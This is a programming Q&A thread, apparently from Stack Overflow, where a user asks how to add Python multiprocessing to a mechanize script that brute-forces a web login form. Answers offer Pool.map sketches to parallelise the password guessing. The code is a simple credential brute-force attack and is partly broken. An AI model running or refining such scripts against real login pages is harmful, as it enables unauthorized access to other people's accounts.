How to use multiprocessing in a for loop - python

Question

I have a script that use python mechanize and bruteforce html form. This is a for loop that check every password from "PassList" and runs until it matches the current password by checking the redirected url. How can i implement multiprocessing here

for x in PasswordList:          
    br.form['password'] = ''.join(x)
    print "Bruteforce in progress.. checking : ",br.form['password']
    response=br.submit()

    if response.geturl()=="http://192.168.1.106/success.html":
        #url to which the page is redirected after login
        print "\n Correct password is ",''.join(x)
        break

Wboy · Accepted Answer · 2016-09-21 09:31:48Z

3

I do hope this is not for malicious purposes.

I've never used python mechanize, but seeing as you have no answers I can share what I know, and you can modify it accordingly.

In general, it needs to be its own function, which you then call pool over. I dont know about your br object, but i would probably recommend having many of those objects to prevent any clashing. (Can try with the same br object tho, modify code accordingly)

list_of_br_and_passwords = [[br_obj,'password1'],[br_obj,'password2'] ...]

from multiprocessing import Pool
from multiprocessing import cpu_count

def crackPassword(lst):
    br_obj = lst[0]
    password = lst[1]
    br.form['password'] = ''.join(password)
    print "Bruteforce in progress.. checking : ",br.form['password']
    response=br.submit()

 pool = Pool(cpu_count() * 2)
 crack_password = pool.map(crackPassword,list_of_br_and_passwords)
 pool.close()

Once again, this is not a full answer, just a general guideline on how to do multiprocessing

edited Sep 21, 2016 at 9:31

answered Sep 21, 2016 at 9:26

Wboy

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2 Comments

PyNico Over a year ago

I guess it's for not for malicious purposes, i mean, it's not sophisticated enough to be really effective, if the target has captcha it will not work.

knobiDev Over a year ago

thank you for ur response. This just for test purpose nothing malicious, here br = mechanize.Browser()

PyNico · Accepted Answer · 2016-09-21 09:23:55Z

1

from multiprocessing import Pool

def process_bruteforce(PasswordList):
    <process>

if __name__ == '__main__':
    pool = Pool(processes=4)              # process per core
    is_connected = pool.map(process_bruteforce, PasswordList)

I would try something like that

answered Sep 21, 2016 at 9:23

PyNico

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